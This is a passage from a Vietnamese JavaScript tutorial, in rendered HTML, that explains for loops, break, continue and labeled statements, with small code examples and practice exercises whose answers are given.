1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vòng lặp for</h2> <p>Nếu để ý các ví dụ ở trên thì bạn sẽ thấy rằng, cấu trúc lặp với các loại vòng lặp như sau:</p> <ul> <li>Khởi tạo giá trị biến đếm (<code>count = 1</code>).</li> <li>So sánh giá trị đếm với giá trị tối đa (<code>count &#x3C;= 3</code>).</li> <li>Tăng giá trị đếm (<code>count++</code>).</li> </ul> <p>Để ngắn gọn, JavaScript sinh ra vòng lặp for với cú pháp là:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">for([khởi tạo]; [điều kiện]; [cập nhật]){ // code }</code></pre></div> <p>Trong đó:</p> <ul> <li><strong>[Khởi tạo]</strong>: Thực hiện một lần lúc bắt đầu vòng lặp.</li> <li><strong>[Điều kiện]</strong>: Kiểm tra trước mỗi vòng lặp.</li> <li><strong>[Cập nhật]</strong>: Thực hiện ở cuối mỗi vòng lặp.</li> </ul> <p>Ví dụ <strong>vòng lặp for</strong> dùng để in ra các số từ 1 đến 3:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">;</span> count<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span></code></pre></div> <p>Bạn có thể thấy là cấu trúc lặp vẫn được duy trì mà nhìn code gọn gàng hơn nhiều.</p> <blockquote> <p><strong>Chú ý:</strong> biến <code>count</code> được khai báo bên trong vòng lặp for như trên thì <strong>phạm vi của biến</strong> chỉ là bên trong vòng lặp for. Do đó, bạn không thể sử dụng biến <code>count</code> trên ở bên ngoài vòng lặp for.</p> </blockquote> <p>Ví dụ sau bị lỗi <strong>Uncaught ReferenceError: count is not defined</strong> khi cố gắng truy cập vào biến <code>count</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">;</span> count<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught ReferenceError: count is not defined</span></span></code></pre></div> <p>Để sử dụng được biến <code>count</code>, bạn cần khai báo biến <code>count</code> ở ngoài vòng lặp for:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> count<span class="token punctuation">;</span></span> <span class="token keyword">for</span> <span class="token punctuation">(</span>count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">;</span> count<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 4</span></span></code></pre></div> <p><strong>Chú ý: bất kể phần nào trong vòng lặp for đều không bắt buộc.</strong></p> <p>Ví dụ bỏ qua phần <strong>khởi tạo</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token punctuation">;</span> count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">;</span> count<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span></code></pre></div> <p>Ví dụ bỏ qua phần <strong>cập nhật</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token punctuation">;</span> count <span class="token operator">&lt;=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// 1</span> <span class="token comment">// 2</span> <span class="token comment">// 3</span></code></pre></div> <p>Ví dụ bỏ qua phần <strong>điều kiện</strong> (trường hợp này sẽ <strong>lặp vô hạn</strong>):</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> count <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>count<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="thoát-vòng-lặp-trong-javascript" style="position:relative;"><a href="#tho%C3%A1t-v%C3%B2ng-l%E1%BA%B7p-trong-javascript" aria-label="thoát vòng lặp trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thoát vòng lặp trong JavaScript</h2> <p>Các ví dụ trên luôn có điều kiện để thoát khỏi vòng lặp. Nghĩa là bất cứ khi nào <strong>condition</strong> có giá trị <strong>falsy</strong> thì vòng lặp sẽ dừng lại.</p> <p>Tuy nhiên, bạn có thể chủ động dừng vòng lặp bất cứ khi nào bằng cách sử dụng từ khóa <strong>break</strong>.</p> <blockquote> <p>💡 Bài viết trước mình có giới thiệu về tứ khóa <strong>break</strong> sử dụng trong <a href="/cau-lenh-switch-case-trong-javascript/">lệnh switch case</a>.</p> </blockquote> <p>Ví dụ in ra <a href="https://vi.wikipedia.org/wiki/B%E1%BB%99i_s%E1%BB%91">bội số</a> nhỏ nhất của 7 bắt đầu từ 8 (hay số nhỏ nhất chia hết cho 7 bắt đầu từ số 8):</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> number <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> number<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> <span class="token number">7</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// 14</span></code></pre></div> <p>Trong vòng lặp for trên, mình bỏ qua phần điều kiện. Nghĩa là không kiểm tra điều kiện trước khi thực hiện vòng lặp. Hay vòng lặp luôn luôn được thực hiện.</p> <p>Trong mỗi vòng lặp, mình kiểm tra xem nếu giá trị <code>number</code> chia hết cho 7 (tức số dư của <code>number</code> khi chia cho 7 bằng 0) thì đó chính là số cần tìm.</p> <p>Cuối cùng, mình dùng từ khóa <code>break</code> để thoát khỏi vòng lặp.</p> <blockquote> <p>💡 Tương tự, bạn cũng có thể sử dụng từ khoá <code>break</code> đối với vòng lặp while và vòng lặp do...while.</p> </blockquote> <h2 id="từ-khóa-continue-trong-javascript" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-continue-trong-javascript" aria-label="từ khóa continue trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa <code>continue</code> trong JavaScript</h2> <p>Từ khoá <code>continue</code> gần giống từ khóa <code>break</code>. Nếu như từ khóa <code>break</code> dùng để thoát khỏi vòng lặp thì từ khóa <code>continue</code> dùng để dừng <strong>lượt lặp hiện tại</strong> và chuyển tới lượt lặp tiếp theo.</p> <p>Ví dụ tìm <strong>số lẻ</strong> là bội số nhỏ nhất của 7 và bắt đầu từ số 8:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> number <span class="token operator">=</span> <span class="token number">8</span><span class="token punctuation">;</span> <span class="token punctuation">;</span> number<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> <span class="token number">7</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// 21</span></code></pre></div> <p>Khác ví dụ trước, ví dụ này cần tìm ra bội số là <strong>số lẻ</strong>. Do đó, mình phải kiểm tra xem số hiện tại là chẵn hay lẻ trước.</p> <p>Nếu <code>number % 2 === 0</code> là <code>true</code> thì suy ra đó là số chẵn. Vì không phải là số lẻ, nên mình dừng lại lượt lặp này để chuyển sang lượt tiếp theo, bằng cách dùng từ khóa <code>continue</code>.</p> <p>Cho đến khi <code>number</code> bằng <code>21</code>. Đây là số lẻ nên <code>number % 2 === 0</code> là <code>false</code>. Mà <code>21</code> chia hết cho <code>7</code>. Nên <code>number % 7 === 0</code> trả về <code>true</code>.</p> <p>Vì vậy, <code>21</code> là số cần tìm và cuối cùng là <code>break</code> - dừng lại vòng lặp for.</p> <blockquote> <p>💡 Từ khóa <code>continue</code> giúp làm giảm mức độ code lồng nhau.</p> </blockquote> <p>Ví dụ in ra các số chẵn trong đoạn từ 1 đến 5 mà <strong>không</strong> dùng từ khóa <code>continue</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> number <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> number <span class="token operator">&lt;=</span> <span class="token number">5</span><span class="token punctuation">;</span> number<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token comment">// 2</span> <span class="token comment">// 4</span></code></pre></div> <p>Ví dụ in ra các số chẵn trong đoạn từ 1 đến 5 <strong>có</strong> dùng từ khóa <code>continue</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> number <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> number <span class="token operator">&lt;=</span> <span class="token number">5</span><span class="token punctuation">;</span> number<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">!==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">continue</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token comment">// 2</span> <span class="token comment">// 4</span></code></pre></div> <p>Bạn thấy rằng kết quả hai cách làm trên là như nhau, nhưng cách làm sử dụng từ khóa <code>continue</code> giúp làm giảm một mức độ code lồng nhau.</p> <blockquote> <p><strong>Chú ý</strong>: từ khóa <code>continue</code> (và từ khóa <code>break</code>) không thể dùng trong toán tử <code>?</code>.</p> </blockquote> <p>Ví dụ sau bị lỗi cú pháp:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> number <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> number <span class="token operator">&lt;=</span> <span class="token number">5</span><span class="token punctuation">;</span> number<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> number <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span> <span class="token operator">?</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span> <span class="token operator">:</span> <span class="token keyword">continue</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token comment">// Uncaught SyntaxError: Unexpected token 'continue'</span></code></pre></div> <h2 id="sử-dụng-label-với-break-và-continue" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-label-v%E1%BB%9Bi-break-v%C3%A0-continue" aria-label="sử dụng label với break và continue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng label với <code>break</code> và <code>continue</code></h2> <p>Nhiều khi mình cần phải thoát khỏi nhiều vòng lặp lồng nhau, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> done <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>done<span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">*</span> j <span class="token operator">>=</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> done <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn trên, mình cần sử dụng thêm biến <code>done</code> để kiểm tra điều kiện kết thúc.</p> <p>Vì một từ khóa <code>break</code> chỉ có tác dụng trong phạm vi một vòng lặp, nên mình cần gán giá trị <code>true</code> cho biến <code>done</code> ở vòng lặp bên trong.</p> <p>Rồi ở vòng lặp ngoài, kiểm tra khi nào <code>done</code> là <code>true</code> thì <code>break</code> luôn khỏi vòng lặp ngoài.</p> <p><strong>Rõ ràng, code trên khá dài dòng. Để giải quyết vấn đề này, bạn có thể dùng "label", với cú pháp như sau:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">labelName: for (...) { // code break labelName; }</code></pre></div> <p>Câu lệnh <code>break labelName</code> giúp "thoát khỏi code" ứng với label.</p> <p>Đoạn code trên viết lại với label như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token literal-property property">outer</span><span class="token operator">:</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">*</span> j <span class="token operator">>=</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">break</span> outer<span class="token punctuation">;</span></span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p><strong>Từ khóa <code>break</code> phải nằm trong một "khối code" - "block code".</strong></p> <blockquote> <p>Khối code có thể hiểu là đoạn code nằm trong cặp dấu <code>{}</code> ứng với các vòng lặp for, vòng lặp while, vòng lặp do...while, hàm,...).</p> </blockquote> <p>Ví dụ sau bị lỗi cú pháp vì dùng <code>break</code> ở ngoài khối code:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">break</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token comment">// Uncaught SyntaxError: Illegal break statement</span></code></pre></div> <blockquote> <p>Với từ khóa <code>continue</code>, cách sử dụng từ label cũng giống từ khóa <code>break</code>.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Vòng lặp trong JavaScript có ba loại là:</p> <ul> <li>Vòng lặp while: kiểm tra <strong>điều kiện trước</strong> mỗi lượt lặp.</li> <li>Vòng lặp do...while: kiểm tra <strong>điều kiện cuối</strong> mỗi lượt lặp.</li> <li>Vòng lặp for: kiểm tra <strong>điều kiện trước</strong> mỗi lượt lặp và thêm <strong>một số cài đặt</strong> khác.</li> </ul> <p>Nếu điều kiện lặp luôn có giá trị <strong>truthy</strong> thì cấu trúc lặp sẽ lặp vô hạn.</p> <p>Để chủ động thoát khỏi vòng lặp, bạn dùng từ khóa <code>break</code>. Và để thoát khỏi một lượt lặp, bạn dùng từ khóa <code>continue</code>.</p> <p>Từ khóa <code>break</code> và từ khóa <code>continue</code> có hỗ trợ label, giúp thoát khỏi các vòng lặp lồng nhau dễ dàng hơn.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1:</h3> <p>Sử dụng <a href="/dev-tools-la-gi/"><code>console.log</code></a> để in ra hình tam giác như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text"># ## ### #### ##### ###### #######</code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> row <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> i <span class="token operator">&lt;=</span> <span class="token number">7</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> row <span class="token operator">+=</span> <span class="token string">"#"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>row<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2:</h3> <p>Sử dụng <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/"><code>prompt</code></a> để yêu cầu người dùng nhập vào một số.</p> <ul> <li>Nếu người dùng nhập vào không phải là số thì hiển thị ra thông báo: "Bạn nhập vào không phải là số".</li> <li>Nếu người dùng nhập vào là số thì hiển thị ra thông báo: "Số bạn nhập vào quá nhỏ" khi số đó nhỏ hơn 10, ngược lại thì dừng thông báo.</li> </ul> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> input <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Enter a number:"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> number <span class="token operator">=</span> <span class="token function">Number</span><span class="token punctuation">(</span>input<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isNaN</span><span class="token punctuation">(</span>number<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"It's not a number."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>number <span class="token operator">&lt;</span> <span class="token number">10</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"It's too small."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đó, hàm 